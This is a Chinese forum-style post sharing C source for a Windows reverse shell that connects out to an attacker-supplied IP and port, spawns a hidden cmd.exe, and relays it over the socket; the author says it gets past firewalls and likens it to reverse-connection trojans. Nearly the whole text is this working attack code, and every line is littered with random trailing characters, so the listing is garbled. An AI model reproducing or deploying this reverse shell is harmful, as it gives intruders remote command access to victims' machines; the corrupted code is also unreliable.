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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K#l:wH _  
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/* ============================== bo<~jb{  
Rebound port in Windows NT q?,).x nN  
By wind,2006/7 kJWn<5%ayg  
===============================*/ ~{*7"o/  
#include ^aIPN5CK  
#include =Ee&da^MB  
~ {?_p@&n  
#pragma comment(lib,"wsock32.lib") /Y*WBTV'  
]fm'ZY&  
void OutputShell(); 4]rnY~  
SOCKET sClient; tN[L@t9#cr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _geWE0 E  
fr,7rS/w{l  
void main(int argc,char **argv) x"eRJii?  
{ 7.-V-?i  
WSADATA stWsaData; anuL1f XO  
int nRet; BoA/6FRi[  
SOCKADDR_IN stSaiClient,stSaiServer; 68bQ;Dv  
k=2Lo  
if(argc != 3) h~A/y!s  
{ *zNYZ#  
printf("Useage:\n\rRebound DestIP DestPort\n"); #:%&x@@c3P  
return; {qDSPo  
} jy7\+i  
MtM%{=&_  
WSAStartup(MAKEWORD(2,2),&stWsaData); pEw"8U  
O7u(}$D L  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < 3(LWxw  
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stSaiClient.sin_family = AF_INET; []x#iOnC&  
stSaiClient.sin_port = htons(0); oYHj~t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l_3`G-`2  
 ,t}vz 7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s|@6S8E  
{ -)s qc P  
printf("Bind Socket Failed!\n"); 5Y?L>QU"  
return; E"\/ M  
} ~Xr=4V:a+  
W"724fwu&  
stSaiServer.sin_family = AF_INET; :WC2Ax7$2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t4{rb, }W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &6DMk-  
(VS5V31"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?xK8#  
{ mCRt8 rY;  
printf("Connect Error!"); ;g8R4!J  
return; so^lb?g  
} U!T~!C^  
OutputShell(); WJ)z6m]  
} -\+s#kE:  
~L]|?d"  
void OutputShell() Usg K  
{ ()`7L|(`;q  
char szBuff[1024]; ;V@WtZv  
SECURITY_ATTRIBUTES stSecurityAttributes; %lL.[8r|  
OSVERSIONINFO stOsversionInfo; ;sfb 4x4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ok{*fa.PK  
STARTUPINFO stStartupInfo; $J4 *U  
char *szShell; ( W a  
PROCESS_INFORMATION stProcessInformation; DvME 1]7)  
unsigned long lBytesRead; "rTQG6`  
Q)"C&) `l  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XttqO f  
KuWWUjCE  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -7m:91x  
stSecurityAttributes.lpSecurityDescriptor = 0; !GOM5z,  
stSecurityAttributes.bInheritHandle = TRUE; EJ@?h(O  
c/Qt Ot  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Pf*^ZB%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s~X+*@.  
Mc#*wEo)8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _,q)hOI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2#o>Z4 r{  
stStartupInfo.wShowWindow = SW_HIDE; $m7?3/YG  
stStartupInfo.hStdInput = hReadPipe; f @8mS    
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cbeLu'DWB.  
#u2J;9P  
GetVersionEx(&stOsversionInfo); "-_fv5jL  
p/(~IC "!J  
switch(stOsversionInfo.dwPlatformId) t'9*R7=  
{ u?>B)PW  
case 1: N03G>fZ  
szShell = "command.com"; R,)}>X|<  
break; 6W@UJx}w5  
default: '[J<=2&  
szShell = "cmd.exe"; Nb?w|Ne(T  
break; u83J@nDQ  
} `IOs-%s  
"@evXql3`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OQ8 bI=?[x  
hbU+Usx  
send(sClient,szMsg,77,0); -yR.<KnL  
while(1) y'FS/=u>0  
{ [qdRUV'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~jK{ ,$:=  
if(lBytesRead) *eIJwXE  
{ .R)PJc5^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w0|gG+x jS  
send(sClient,szBuff,lBytesRead,0); 79nG|Yj|\  
}  ~UyV<  
else 3:5 &Aa!  
{ <Gav5R c  
lBytesRead=recv(sClient,szBuff,1024,0); iY`%SmB  
if(lBytesRead<=0) break; (*1v\Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |nbf'  
} =81@ o,1w  
} N+zKr/  
: m)   
return; Ib|Rf;J~-  
}
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